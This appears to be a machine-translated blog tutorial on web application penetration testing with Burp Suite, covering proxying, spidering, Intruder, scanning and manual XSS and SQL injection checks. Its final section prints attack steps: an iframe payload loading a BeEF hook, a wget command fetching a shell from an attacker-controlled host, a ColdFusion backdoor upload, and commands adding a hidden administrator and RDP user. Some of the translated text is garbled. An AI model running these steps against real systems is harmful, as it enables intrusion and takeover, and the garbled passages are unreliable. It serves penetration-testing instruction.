Hacking Book | Free Online Hacking Learning

 Home

share your technology and add some temperature for safety

Posted by chiappelli at 2020-02-27
all

Web Application Testing Overview:

Web应用漏洞给企业信息系统造成了很大的风险。许多web应用程序漏洞是由于web应用程序缺乏对输入的过滤。简而言之，Web应用程序利用来自用户的某种形式的输入，并且在应用程序中执行了这些信息为其提供内容，或者从系统的其他部分获取数据。如果未正确过滤输入，攻击者可以发送非标准输入来利用web应用程序。本文将重点讨论burpsuite，并介绍如何利用它来评估web应用程序。

Burpsuite review:

Burpsuit has many functions, including but not limited to:

Introduction

Burp's detailed help documentation can be found below: http://portswigger.net/burp/help/suite'gettingstarted.htmlburpsuite can be loaded from the Java jar command line. You can allocate memory for your burp by using the option "- Xmx". java -jar -Xmx1024m /path/to/burp.jar

像许多拦截代理一样，Burp也是通过GUI驱动的，但是有一些选项需要通过Extender功能利用命令行启动。

Once burpsuite starts, it is recommended that you define the target host in scope. You can control what is displayed and other functions in site map. Scope can define the target host name, IP, or network range by:

Proxy选项卡显示Burp的代理详细信息、intercept选项和HTTP请求历史。在下面你可以看到“Intercept is on” ，所以任何从浏览器发出的请求都将必须通过Burp的proxy手动点击forward才能进行： Intercept 功能会截断所有从浏览器发送出来的流量，其他扩展如FoxyProxy能用来指定哪个URL和IP是黑名单或白名单，这些名单能绕过burp的截断。 通过配置好Burp的scope和proxy，你可以开始使用你的浏览器和burp浏览web应用程序了，如你可以在Site Map目标右键弹出菜单选项。在这个视图中你可以看到web应用的目录结构和资源。通过右击URL或者资源，你可以通过几个选项调用其他功能，例如Burp的spider功能或者执行主动式扫描： 便捷提示：为了更容易专注于目标web应用程序，你可以点击“Filter：”菜单只显示仅仅在范围内的内容： 激活Burp的spider功能将爬取web应用的链接，默认爬取链接深度为5，但是这些选项都是在“spider”选项卡中配置的。一旦你截断web应用程序，所有的请求和响应都将在“proxy”选项卡中记录下来。你可以高亮显示一个请求让它脱颖而出，并且可以在之后的分析中留下注释：

Burpsuite provides a lot of useful functions under its engagement tools. From here you can choose "analysis target", which provides you with links, parameters and counts of static and dynamic content. Knowing this information is very useful for assessing goals. The more links, parameters, and dynamic content there are, the more points to inject fuzzy.                        . This feature is particularly useful if the client wants to perform automated tests for a few hours of the day.

Discovering unlinked content

One of the problems you will face when testing web applications is enumerating content that does not use explicit links. This can be a time-consuming way because it relies heavily on brute force guessing to make requests and see if the resource exists on the server. For example, the "/ TMP /" directory is not in any link of the web application, but if the request / TMP / directory is sent, it will be responded. To solve this problem, we have many other options:

   all of these methods are time-consuming and may not actually find anything, so depending on the time and scope of the test, you don't have to run dirbuster all day. In general, it will run automatically in the background when you conduct manual tests.    here's an example: calling burp's discover content feature attempts to dynamically enumerate non explicitly linked content:

Burp's decoder and comparer

   when you start testing web applications, you will find that you often need to decode or encode strings into different formats. It's very useful when trying to bypass some simple WAFS. The following example uses burp's decoder to perform URL encoding, and there are other encoding and decoding options.

Burp's comparer feature allows you to quickly compare requests or responses and highlight the differences between them:

Extender for burp

                    . Many of the extensions are written in Python and are available free of charge through burp's store. A very useful extension is carbonator, which allows you to fully automate brupspider > scan > report on the command line. Here are screenshots of some of the available Extensions for the store:

Burp's intruder

Another option is to take advantage of burp's intruder function, which can use a request and allow the user to modify the request to define a variety of different payload injection points. A common use case is to iterate the parameter values in the request to see how the web application responds (for example: get / product. PHP? Item = 1). You may be able to use the intruder check to compare the differences between the 1-1000 responses. You can also use the requested resource as the location to modify. Let's demonstrate this by traversing a directory Dictionary:   1. Specify a request and select send to intro, which will pop up the following window under the intro tab. The highlighted area is the part of the request that will use "sniper" payload for brute force guessing:

   2. Next is the payload tab. You can load a dictionary for violent guessing:

             3. Select "introder > start attack" to start the attack. The next result window will show the request created and the HTTP status code. As we can see, we can enumerate some other resources not found by spiders:

   in addition to using burp, it is recommended to run an intermediate scanner in the background to check some default configurations and resources. Here's an example of using Nikto, or consider other scanning tools (zap, w3af, grendal, etc.). As we can see, Nikto has found more interesting things to investigate, such as / TMP / and / test /:

                      . It mainly uses burp input content (HTML, JavaScript, SQL syntax, system commands, etc.) to do a lot of work, and monitors how the application responds. Like any web application vulnerability scanner, burp reports on reports that require manual verification. To start an active scan, right-click the URL or resource on the site map and select "actively scan this host". The following active scan wizard will pop up:

   the scan time in a web application may vary depending on the web application. In some cases, the automatic scan time range for web applications can range from hours to days. The link count enumerated during the scan is a good indicator of the potential scan duration. The following window shows 1515 link enumerations, but few parameters are used for test input. Links without parameters reduce the number of burp requests for each link, so the scan time is shorter. Another key factor in evaluating proactive scanning web applications is form submission. When you actively scan web applications, you may generate a large number of logs, trouble lists, jobs, etc. according to the web applications and the functions provided to users. If not within the scope of the assessment, these should be closely monitored to prevent a denial of service (DOS) condition.                            . Below we can see that burp extracts multiple burst results for further investigation:

Analyze scan results and manual tests:

                     . Start by selecting the results of discovery, such as "cross site scripting (reflected)", and then select and view the details affecting vulnerability assessment in its request and response. The first thing to check XSS is to repeat the request in the browser and see if the script is running. You can select "request in browser" by right clicking on the body of the request:

   looking at the response in the browser is useful to determine if the tag is correct. Since the XSS evaluation results are related to the code executed in the client browser, it is important to manually verify the findings before choosing to rely on the scanner logic. Another common feature of    burp is "repeater", which is usually used to validate results or search other results manually. Simply right-click on the body of the request and select send to repeater:

   in the repeater interface, you can modify the request and quickly resend it to the web application.

Reflective XSS can be tested quickly by injecting a certain HTML / JavaScript payload, which does not need to be validated by input. Here is an example of modifying XSS payload to simply "alert (" XSS "):

   for the practical application of reflective XSS, you may use iframe as a combination of payload and spear phishing. Here is an example XSS payload, which you can use instead of "alert()", so now it can load the third-party resources of the exploit or beef hook provided by the client side: < iframe height = "0 ″ width =" 0 ″ SRC = < beef_hook > < iframe >

Beef is a powerful way to control the victim's browser by using JavaScript. Above, you can see the victim browser related to beef using XSS vulnerability. Beef provides a large number of functions to execute on the victim browser, and even connect to Metasploit for attack.    in the security of web applications, XSS is often ignored by many people, because you need to use other methods to get the ultimate goal -- shell. One thing to note about XSS is that we have determined that the web application does not properly filter user input, and that this may be just a sign of many other vulnerabilities.    in the following case, we verified XSS by sending it to the repeater and modifying the payload and displaying the response in the browser, and showed how to use XSS to control the victim browser. Another advantage of burp scan results is to modify the level of risk associated with discovery results. When analyzing scan results, you will undoubtedly encounter some false positive situations. Therefore, burp provides the ability for users to modify the result to "false positive":

Burp is able to use various payloads for fuzzy input, but it does miss some version specific vulnerabilities and configuration problems. This is common for any tool, so it is recommended that you perform manual tests to verify the results found by the tool and to enumerate other vulnerabilities in your web application.

The first step in manual testing is to get the technology used by the web application. Specific software and version information may cause you to obtain additional information to obtain possible vulnerabilities or vulnerabilities. Whatweb is a great tool for you to quickly understand the technologies used by web applications. We can see the command line syntax and output of whatweb as follows:

   at this time, we may have run whatweb before running the full burp scan, but we can see some very interesting information from the output of whatweb.    in this case, we see a ColdFusion web application that gives us a starting point for manual testing. Now ColdFusion has been enumerated to check whether there are management resources (such as "/ cfide / administrator /"), so as to determine whether it conforms to the logic of ColdFusion application.

Manual testing

Burp can also be a good tool for performing manual tests on Web applications. Typically, this type of testing is done through a security assessment, and as more information is found from various scans, it can be further leveraged with manual testing. There are several books on the topic of manual testing, and this blog will focus on some very basic contents. When you start to browse the web application and view the output of the tool, ask yourself the following questions:   1. List and study all possible software versions. ColdFusion, WordPress, SharePoint, etc.

   2. Does the web application use user input?

   3. If you suspect that a part of the request appears on the screen, test XSS. So if you browse the page and notice that your user agent can see it directly, try replacing your user agent with some HTML / JavaScript to test XSS (< script > alert (1) < script >).

<script> alert（1）</ script>

Are your requests used to perform queries against the database? For example, if you notice a parameter called "Id" and see it with a numeric value, try putting a single or double quotation mark to try to generate a database error. This type of test can identify the existence of SQL injection.

  5. Does the web application use any input to execute commands? Try modifying the input to attach the attach command to the request and see if it was successfully processed by the web application.

Get a shell

Webshell has various file formats and functions. You may be able to log in to a PHP shell (raw shell, meterpreter, etc.), a raw netcat shell,. ASP shell,. JSP, etc. The type of shell you can use depends on the technology and configuration used by your web application. For example, if you have access to the Apache Tomcat GUI, you can deploy the war backdoor. If you run IIS with some RFI vulnerabilities, you can try to upload an ASP shell.

   when you get a shell, you can also run it with the permissions of the web application service account, which may not be able to execute commands in the current working directory. For these reasons, you may need to place the web shell in the / TMP / directory (WGet - O / TMP / shell. Py http: / / < yourip > / shell. Py). With regard to remote command execution (RCE), it typically requires an empty byte (% 00) at the end of the request.

wget -O /tmp/shell.py http：// <yourIp> /shell.py

   sometimes configuration errors can cause a web shell to be uploaded. We can see below that we can access the ColdFusion management interface. If we jump here, this actually allows us to schedule tasks and upload (. CFM) backdoors. This is an important discovery, but many automated scanning tools have completely missed:

                       . ColdFusion has matured with many directory traversal and unauthorized vulnerabilities. Using Google search and examine exploit dB and other attack research resources, there may be a long way to go in this test phase.    because we have access to the administration interface, the next logical step is to schedule a task to call the (. CFM) backdoor and publish it to the web application. To schedule tasks in ColdFusion, it is located under the debugging & logging menu:

Next, you need to quickly set up a web server in another place to allow web applications to download the back door. I find it very useful to use Python to quickly build a web server:                            . You need to make sure that the "publish" check box is selected and that you can enumerate the file system directory structure from the server settings summary on the left:

   after we run the scheduled task, you can monitor your Python web server to see the victim server request backdoor. Then, you can jump to the back door on the web application to interact to execute commands on its OS:     we can execute a "whoamI" command to see what permissions the web application has:     execute as "NT authority \ system", which means that we can start making some changes, such as adding users and closing the firewall. We will add a user using the following command:

net user jobin password /ADDnet user localgroup Administrators jobin /ADDnet localgroup “Remote Desktop Users” jobin /ADD

   now disable the firewall and add users through the (. CFM) shell. We can connect to the victim system through the RDP protocol to obtain terminal access rights:

summary

A common source of   web application vulnerabilities is a lack of filtering of user input. The working principle of web application scanning tool is to make use of the input request including the following code and lack of filtering: web code, syntax, local / remote resources, etc. Web application testing is a very advanced topic. This post focuses on some basic knowledge about burp suite. If you want to learn more about web application testing, check out the following resources:

Author: primalsecurity translation: I spring and autumn translation group - cavernous vs. sphincter editor in charge: jishuzhan translation source: http://www.primalsecurity.net/0x2-expand-tutorial-web-hacking-with-burp-suite/

© 2023